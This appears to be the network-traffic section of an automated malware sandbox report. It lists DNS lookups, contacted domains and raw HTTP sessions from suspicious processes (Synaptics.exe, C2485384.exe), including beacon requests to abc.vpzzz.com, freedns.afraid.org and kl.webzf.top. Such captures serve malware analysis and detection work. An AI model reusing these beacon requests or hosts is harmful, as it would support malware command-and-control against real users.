Aug 5, 2024 12:01:14.587730885 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.238	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.641221046 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	qingdaocs.oss-accelerate.aliyuncs.com	ds-2089.oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.641221046 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ds-2089.oss-acc-allline.aliyuncs.com	ds-2089.oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.641221046 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ds-2089.oss-acc-allline.aliyuncs.com.gds.alibabadns.com	ap-southeast-1-ds-2089.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.641221046 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ap-southeast-1-ds-2089.oss-acc.aliyuncs.com		161.117.242.93	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.767920017 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.tencent.com	www.tencent.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.767920017 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.tencent.com.cdn.dnsv1.com	www.tencent.com.acc.edgeonedy1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.767920017 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.118.238	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.767920017 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.119.252	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.846514940 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cdstm.cn	www.cdstm.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.846514940 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cdstm.cn.a.bdydns.com	opencdnka.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.846514940 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnka.jomodns.com		113.219.142.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:15.116588116 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	qingdaocs.oss-accelerate.aliyuncs.com	ds-2089.oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:15.116588116 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ds-2089.oss-acc-allline.aliyuncs.com	ds-2089.oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:15.116588116 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ds-2089.oss-acc-allline.aliyuncs.com.gds.alibabadns.com	eu-central-1-ds-2089.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:15.116588116 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	eu-central-1-ds-2089.oss-acc.aliyuncs.com		47.254.187.187	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:16.205605984 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:16.205605984 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:16.450889111 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:16.450889111 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:16.719731092 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:16.719731092 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:17.681788921 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:17.681788921 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:25.900259018 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:25.900259018 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:26.143449068 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:26.143449068 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:27.544305086 CEST	1.1.1.1	192.168.2.7	0xdf11	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:27.544305086 CEST	1.1.1.1	192.168.2.7	0xdf11	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:34.330024004 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:34.330024004 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:34.359823942 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:34.359823942 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:45.567260027 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:45.567260027 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:45.726524115 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:45.726524115 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

docs.google.com

drive.usercontent.google.com

otelrules.azureedge.net

freedns.afraid.org

abc.vpzzz.com

kl.webzf.top

www.kuaishou.com

www.baidu.com

www.jd.com

www.douyin.com

youdao.com

www.qq.com

www.sogou.com

www.hao123.com

www.so.com

www.1688.com

www.sina.com.cn

soso.com

www.sohu.com

foodmate.net

www.jmw.com.cn

www.cdstm.cn

www.eastmoney.com

www.tencent.com

www.cctv.com

www.jb51.net

guangzhoucs.oss-accelerate.aliyuncs.com

www.hupu.com

www.zhihu.com

www.autohome.com.cn

sinacloud.net

www.aliyun.com

www.sinacloud.com

qingdaocs.oss-accelerate.aliyuncs.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49709	69.42.215.252	80	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:26.647010088 CEST	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Aug 5, 2024 12:00:27.244119883 CEST	243	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 05 Aug 2024 10:00:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49737	81.70.163.227	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:31.242399931 CEST	286	OUT	GET /kss_api/io.php?a=uplog&apiver=905&c=0&gdata=1&softcode=1000001&&lgid=0&f=&x=781315036953 HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; MSiE 6.0; Windows NT 5.1;) Accept-Language: en-ch Accept-Encoding: gzip, deflate Host: abc.vpzzz.com Connection: Keep-Alive
Aug 5, 2024 12:00:33.018244028 CEST	227	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 05 Aug 2024 10:00:32 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 31 66 0d 0a 6b 73 73 64 61 74 61 30 3a 7c 3a 31 3a 7c 3a 68 74 74 70 3a 2f 2f 3a 7c 3a 3a 7c 3a 3a 7c 3a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fkssdata0:\|:1:\|:http://:\|::\|::\|:0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49751	43.154.222.70	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:34.781667948 CEST	406	OUT	GET / HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, / Accept-Language: en-CH Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: kl.webzf.top Connection: Keep-Alive
Aug 5, 2024 12:00:35.685594082 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 05 Aug 2024 10:00:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 34 34 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 56 5d 6f da 56 18 be 26 bf e2 cc 11 bd 98 0a 06 1b 12 c2 0c 15 e1 43 ea 76 d1 4e ea 4d af a6 83 7d c0 16 fe 40 f6 71 08 4c 95 d2 ae 9b 9a 26 55 35 b5 89 b6 2e 17 cb 36 69 9d ba b0 56 eb a4 34 59 92 1f 33 6c e8 55 ff 42 8f cf 31 26 01 a2 4e d3 10 3a e0 97 f7 e3 79 9f f7 e3 f0 ee f8 4c fa a8 72 a3 7c eb f6 cd 2a 50 b1 a1 17 17 24 f6 11 93 54 04 95 e2 42 2c 26 19 08 43 20 ab d0 76 10 2e 70 2e 6e 24 72 1c fd 01 6b 58 47 45 ef de 86 77 7f df 7b b5 33 fc e5 48 e2 99 2c f8 d5 c1 5d 1d 01 dc 6d a3 02 87 d1 3a e6 65 c7 a1 76 b1 8f bf 0c ce 58 1b 2a 8a 66 36 f3 20 f5 09 7d 36 a0 dd d4 cc e8 31 b0 49 28 48 b6 6c 88 35 8b c8 4d cb 44 54 f3 4e 70 2c f6 2c b3 89 35 e6 aa a3 29 58 cd 83 ac 20 b4 d7 99 33 15 69 4d 15 e7 81 98 4a 85 22 6a 95 ac 5b eb 89 34 33 62 f1 12 d8 6a e7 41 22 95 4c 0b 59 1b 19 cc 3a f4 97 4e a5 e2 17 dd 65 a3 00 75 28 b7 9a b6 e5 9a 4a 42 b6 74 cb ce 83 45 b1 5a 12 56 aa 13 88 2c 18 68 b3 70 0d cb c4 09 47 eb a1 3c 10 c6 98 62 a1 29 d4 35 19 d5 [TRUNCATED] Data Ascii: 44bV]oV&CvNM}@qL&U5.6iV4Y3lUB1&N:yLr\|P$TB,&C v.p.n$rkXGEw{3H,]m:evXf6 }61I(Hl5MDTNp,,5)X 3iMJ"j[43bjA"LY:Neu(JBtEZV,hpG<b)5uYd-##5%e#'soNpS0R[Lo\|^sBSR2u#ARM0lFccC182X5LFl:t!_H_N,l~'X)Q9EQpiv@2Gc6T4!6]=9mL6b\^ZLCY0T<=KT8XT*yB($ch3rmZW5dBWI,S&ZK@[J\|E[Ree:NcR;F_{6]O)C!21s?wK`o7>{#QBeb-e`Orpx0-rEh#6KchgS"7f3\1COGGQWS# cFjFS1ny$[#T7)[L.CwK<CDU6hv]-nJ>5<.V{6c&02+@0 [TRUNCATED]
Aug 5, 2024 12:00:35.685628891 CEST	85	IN	Data Raw: 95 c9 5e 71 34 8c 0a f1 6a 36 be 52 8e 97 72 f1 ea 72 7c b5 14 5f ad 51 89 40 25 b9 78 a9 16 2f 09 57 0c 64 ba 05 d3 9a 85 39 7c b1 e5 3d 38 1e bd 3e 18 bc 79 39 07 63 d4 b4 e3 2f 12 cf 66 82 cc 08 fd df f4 1e a2 e3 a7 58 4b 09 00 00 0d 0a 30 0d Data Ascii: ^q4j6Rrr\|_Q@%x/Wd9\|=8>y9c/fXK0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49762	103.107.217.26	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:37.839695930 CEST	222	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.kuaishou.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:41.039203882 CEST	425	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 05 Aug 2024 10:00:40 GMT Content-Type: text/html Content-Length: 218 Connection: keep-alive Location: https://www.kuaishou.com/ X-KSClient-IP: 8.46.123.33 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>307 Temporary Redirect</title></head><body><center><h1>307 Temporary Redirect</h1></center><hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49761	103.235.46.96	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:37.840085030 CEST	219	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.baidu.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:38.775204897 CEST	1236	IN	HTTP/1.1 200 OK Bdpagetype: 1 Bdqid: 0xfa5d6777002a808d Connection: keep-alive Content-Encoding: gzip Content-Type: text/html; charset=utf-8 Date: Mon, 05 Aug 2024 10:00:38 GMT P3p: CP=" OTI DSP COR IVA OUR IND COM " P3p: CP=" OTI DSP COR IVA OUR IND COM " Server: BWS/1.1 Set-Cookie: BAIDUID=D7DEF63659F42971B5895224E3381687:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: BIDUPSID=D7DEF63659F42971B5895224E3381687; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: PSTM=1722852038; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: BAIDUID=D7DEF63659F42971685BA7FFB5CED3CA:FG=1; max-age=31536000; expires=Tue, 05-Aug-25 10:00:38 GMT; domain=.baidu.com; path=/; version=1; comment=bd Set-Cookie: BDSVRTM=34; path=/ Set-Cookie: BD_HOME=1; path=/ Traceid: 1722852038371924788218040689443117629581 X-Ua-Compatible: IE=Edge,chrome=1 X-Xss-Protection: 1;mode=block Transfer-Encoding: chunked Data Raw: 32 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 69 93 1c 4b 72 18 f8 1d bf a2 d8 6d 43 00 53 5d f7 dd 18 3c b2 4f a0 71 74 17 fa 00 1a cd 37 db 96 95 95 59 55 e8 ba ba b2 aa fa 12 cc 48 69 47 94 56 cb cb 68 92 6c 45 ae 76 49 33 ad ed 9a ed 0e 29 5b 6a c5 25 45 f2 c7 68 de 9b 99 4f fb 17 d6 dd 23 22 33 ae ac a3 d1 20 25 33 bd 7a 00 aa 32 e3 f0 f0 f0 f0 f0 f0 2b 7e f4 2b db 07 5b c7 1f eb 3b 89 f6 b8 d7 fd e6 47 bf 92 4a 1d 1d 6f 1c 9f 1c 25 0e 5e a7 52 df fc 88 3d 6d 7b 4e f3 9b 1f f5 bc b1 03 c5 c6 c3 94 77 39 e9 4c 9f af 6c 0d fa 63 af 3f Data Ascii: 200iKrmCS]<Oqt7YUHiGVhlEvI3)[j%EhO#"3 %3z2+~+[;GJo%^R=m{Nw9Llc?
Aug 5, 2024 12:00:38.775233030 CEST	1236	IN	Data Raw: 4e 1d df 0c bd 95 84 cb 7e 3d 5f 19 7b d7 e3 0c 56 7c e6 b6 9d 51 e0 8d 9f 4f c6 7e aa ba 62 69 e1 34 75 b2 91 da 1a f4 86 ce b8 d3 e8 ca 8d ec ed 3c f7 9a 2d 6f cd 6d 8f 06 3d ef 79 4e d4 0e 7b 71 ba 57 ce 4d b0 92 e8 3b f0 7a 65 e4 f9 de 68 e4 Data Ascii: N~=_{V\|QO~bi4u<-om=yN{qWM;zehD1tz^t#US6u/'Ow?g?7_???wo/~/g?~_?
Aug 5, 2024 12:00:38.775269985 CEST	1236	IN	Data Raw: eb 32 08 a5 66 64 3c 15 b0 1f 95 76 d9 08 81 e1 59 26 fb aa dd 19 7b 29 20 45 d7 03 1e 71 35 72 86 cf b4 65 fd 39 16 a4 04 e0 9b 2f af 1c a0 ef 19 5f 3d f4 9d 63 b5 02 58 45 cc c2 e2 4b 64 9f 01 bf 80 1d d7 e9 02 72 3a ad fe 7a 0f d8 46 d7 9b d1 Data Ascii: 2fd<vY&{) Eq5re9/_=cXEKdr:zF>;=!hT$qXxa ~f&:SH2Q8IKY,<W+pV3CR1T;P<>ydFlneEtx"g/HEYi.ws(~?r6tSS/>)qE
Aug 5, 2024 12:00:38.775295019 CEST	1236	IN	Data Raw: 2e 57 4a aa c4 a3 4a 26 34 86 59 13 b8 d0 18 12 69 50 47 71 43 06 a9 9a d7 66 53 2b e0 1a 46 ce 6a b5 3b a8 26 bc a1 6a 42 09 c2 86 22 0d 24 9f cf 2f 06 08 a9 52 94 d1 2f 56 af c1 44 52 53 ff b5 40 cf b2 6e 53 57 5f 22 ef b6 c9 97 62 86 6a b9 5a Data Ascii: .WJJ&4YiPGqCfS+Fj;&jB"$/R/VDRS@nSW_"bjZi`woD+njyMdv7Vug^Ly4gf*berr-!a5v#gk5[ZOoY6,O8$-?gARms9.bzu?X'i
Aug 5, 2024 12:00:38.775321960 CEST	724	IN	Data Raw: 92 06 2a 1a 68 00 0e 80 de 93 5c 3a 5b 5d c3 bf 9e c6 42 08 1d 9f 73 cb 77 cc 50 a9 63 56 46 b1 6f 73 f5 be 7a 38 91 65 50 9c 73 36 73 15 14 26 cc 9d 40 5f 3a b2 f8 21 99 1d 61 8c 16 59 56 d0 63 9e 2d 7f dc e0 e3 50 17 8e 91 cb ce b3 29 9d 0d 55 Data Ascii: *h\:[]BswPcVFosz8ePs6s&@_:!aYVc-P)U?gTd`i.EeV9La<%!<</0edIkqpWxz3F5>[B7t,ZcYkLl5kM=ZEkZ.k{^7Awmvqs
Aug 5, 2024 12:00:38.775336981 CEST	1236	IN	Data Raw: 8e 07 68 83 1b 82 c7 4b 00 6e 16 de dd b9 f0 0b e1 1b 48 81 3c c1 58 49 e1 76 a1 54 58 b2 7c 02 e0 ef f6 d8 10 78 17 f9 1a ee 39 12 f2 40 00 96 64 09 bf d3 05 1a 25 9f 13 c9 46 13 0f 11 8c e7 7c 0e a2 81 5e 95 93 91 3c a0 44 da 97 e6 28 0c 9d 12 Data Ascii: hKnH<XIvTX\|x9@d%F\|^<D(5&^G$Tiis 9w@XI<UsF\U8s5)li.5X0,ra``%&FV#}a`DjKIH0,2PM}
Aug 5, 2024 12:00:38.775353909 CEST	1236	IN	Data Raw: 85 ca 72 c3 4e 81 d4 08 aa 56 00 04 74 f9 50 4d b1 e6 ca 7e 85 db a9 60 ac f8 5d 15 df 73 4c 7c 94 92 ce 08 b3 1e b3 17 73 59 69 c9 2c 0c aa aa 83 b7 a8 36 fc 0f 99 03 63 21 f0 1e 28 1f c6 62 7d 59 73 63 2c 56 f5 bf a2 a4 16 74 7e 94 8f 7b 78 18 Data Ascii: rNVtPM~`]sL\|sYi,6c!(b}Ysc,Vt~{x1,ywjBc a`8>\|T\KA~nJ$J(NJ;qSJ<?%.[SQbcIuWeg_'Cv@#?a5WnVOsA3
Aug 5, 2024 12:00:38.775377035 CEST	1236	IN	Data Raw: 18 7a 2e b8 ab b1 0a b8 13 65 f0 64 31 a3 f5 9e 07 c9 6d 98 6f 27 a9 ef 33 b8 2d ce 2a 4f d9 58 79 fb 0b 94 67 d9 4e 79 79 60 3f 19 54 47 ce 68 3f f2 28 a5 e4 c5 19 1c f4 8c e2 cc 47 4f d1 57 58 11 4f 44 96 0a d3 98 62 8c 24 4e 1f 7f 0c 7a 12 31 Data Ascii: z.ed1mo'3-*OXygNyy`?TGh?(GOWXODb$Nz1T-z~at3^DWz+q6j!SeqWAJ+SgDlIn~Y+s~}R#_-]rQ@-eg0V;d\eE:6L3!15 o
Aug 5, 2024 12:00:38.775391102 CEST	1236	IN	Data Raw: 6e 8d c6 f2 69 a9 2f e6 55 60 2e 6c 41 a9 5c aa c3 7b 49 14 36 2d b6 26 44 2a 6b 83 5b 25 e7 16 63 87 48 8d e9 5b 9a e3 a6 52 b5 a0 38 21 4a dd 92 69 2f 12 2b 28 81 91 29 8b 8a b4 f3 da 5b 7d 98 24 ea c9 ad 31 7b 25 f7 bd 88 c4 1f d1 9c fe 5a 6f Data Ascii: ni/U`.lA\{I6-&Dk[%cH[R8!Ji/+()[}$1{%Zo'=[e,8X--R"9> PxC4CEKx%\,PH^gRv8p/W}vFqzJ^-T8<Y2Vq=aWl"PDY%.I
Aug 5, 2024 12:00:38.775408983 CEST	1236	IN	Data Raw: 38 be 72 9c 9b 78 e0 9a 0d fc dc 17 38 d6 97 0d b8 26 84 3d c1 5d b4 b6 55 e1 ba 78 37 73 84 3d 1c 07 04 12 d2 45 cd e6 78 d4 5c 55 51 2d 76 dc 89 e3 43 54 0b 2f 09 11 7f d2 d5 a7 f7 1d a4 e9 5b 42 78 05 77 60 13 da 55 65 97 a0 1b b0 0c 96 0e f9 Data Ascii: 8rx8&=]Ux7s=Ex\UQ-vCT/[Bxw`UeuJ%u"&"ZJ]4zRQDHhkit B41[/PvP'9E,FZ@zH&dwER;xPTrB5ZF-8U>\|EBJD\Q0mLu:D-::;0
Aug 5, 2024 12:00:38.780229092 CEST	1236	IN	Data Raw: c7 b4 1a 4c 60 1d c3 6d 48 e7 20 3e 43 fe 36 fe 03 ee da 66 3f cc 15 ce 02 ab e4 4c 70 3a e5 11 9b a4 1c 71 e4 82 6c b3 e3 f2 33 71 1e af b8 08 29 89 ae 30 c2 24 8b c0 a4 b5 36 67 66 fa d6 5e a6 e9 36 0d 22 aa 5c 8d 5c fa 89 a6 85 87 54 0a 33 e8 Data Ascii: L`mH >C6f?Lp:ql3q)0$6gf^6"\\T3BI_OV!5D</e["y]1O]5BV*'bCW%q5'rd~n e}U%L_NegusLfsI\|>9[80PqC>OU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49763	163.171.132.119	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:37.867712975 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.jd.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:38.569726944 CEST	342	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 05 Aug 2024 10:00:38 GMT Content-Length: 0 Connection: keep-alive Server: Cdn Cache Server V2.0 Location: https://corporate.jd.com/home X-Via: 1.0 PSdgflkfFRA2po75:8 (Cdn Cache Server V2.0) X-Ws-Request-Id: 66b0a2c6_PSdgflkfFRA2po75_18711-15095 Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49765	163.181.130.191	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:37.933976889 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.douyin.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:38.571854115 CEST	588	IN	HTTP/1.1 301 Moved Permanently Server: Tengine Date: Mon, 05 Aug 2024 10:00:38 GMT Content-Type: text/html Content-Length: 262 Connection: keep-alive Location: https://www.douyin.com/ x-tt-trace-tag: id=03;cdn-cache=miss;type=dyn Via: ens-cache2.de8[,0] Timing-Allow-Origin: * EagleId: a3b5828617228520384753301e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 68 61 73 20 62 65 65 6e 20 61 73 73 69 67 6e 65 64 20 61 20 6e 65 77 20 70 65 72 6d 61 6e 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>301 Moved Permanently</h1><p>The requested resource has been assigned a new permanent URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49766	111.124.200.101	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:37.938014030 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: youdao.com Range: bytes=0- Connection: Keep-Alive
